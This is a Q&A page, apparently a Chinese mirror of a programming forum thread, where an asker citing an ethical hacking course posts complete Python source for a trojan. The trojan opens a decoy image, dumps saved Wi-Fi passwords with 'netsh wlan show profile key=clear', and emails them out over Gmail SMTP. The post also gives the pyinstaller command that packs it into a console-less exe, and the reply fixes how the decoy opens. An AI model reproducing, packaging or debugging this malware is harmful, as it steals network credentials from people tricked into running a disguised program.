【问题标题】:Cannot Open a File with Subprocess.Popen()无法使用 Subprocess.Popen() 打开文件
【发布时间】:2020-12-15 19:41:00
【问题描述】:

我正在尝试为https://phoenyxacademy.com 的道德黑客课程创建一个基于 Python 3 的木马。所以它是一个基本的木马,会在表面上打开图片,但会提取wifi密码并将其发送到电子邮件。但是用pyinstaller打包python脚本并运行生成的exe后,出现错误。

Error Generated

Python 源代码:

#!/usr/bin/env python3

# A program to steal wifi passwords and send to our e-mail


# import modules
import subprocess
import re
import smtplib
import sys
import tempfile


def retrieve_wifi_passwords():
    system_command = 'netsh wlan show profile'
    access_points = subprocess.check_output(system_command, shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
    access_point_list = re.findall("(?:Profile\s*:\s)(.*)", access_points.decode()) 
    
    profile_result = ""
    for access_point in access_point_list:
        system_command = 'netsh wlan show profile "' + access_point + '" key=clear'
        result = subprocess.check_output(system_command, shell=True)
        result = result.decode()
        profile_result += result
    
    return profile_result   


def send_mail(email, password, message):
    server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

# to run after embedding it with a file
temp_directory = tempfile.gettempdir()

file_name = "C:\\Users\\Faisal Gama\\AppData\\Local\\Temp\\car.jpg"
subprocess.Popen(file_name, shell=True)

email = 'my_email'
password = 'my_password'
profile_result = retrieve_wifi_passwords()
send_mail(email, password, profile_result)

我使用 pyinstaller 命令:

pyinstaller wifi_malware.py --onefile --noconsole --add-data "C:\Users\Faisal Gama\Downloads\car.jpg;C:\Users\Faisal Gama\AppData\Local\Temp"

【问题讨论】:

    标签: python windows subprocess pyinstaller trojan


    【解决方案1】:

    您可以使用 cmd exe 来完成这样的工作。试试看

    subprocess.Popen(["cmd", "/C", "start " + file_name], shell=True)
    

    【讨论】:

    • 如果您希望 Windows 使用默认应用程序显示您的图像,您需要我在答案中显示的内容。但你遇到的问题是不同的。检查该链接。 stackoverflow.com/a/42170011/2016727
    猜你喜欢
    • 1970-01-01
    • 2013-11-15
    • 2019-01-06
    • 2019-12-18
    • 2010-12-17
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多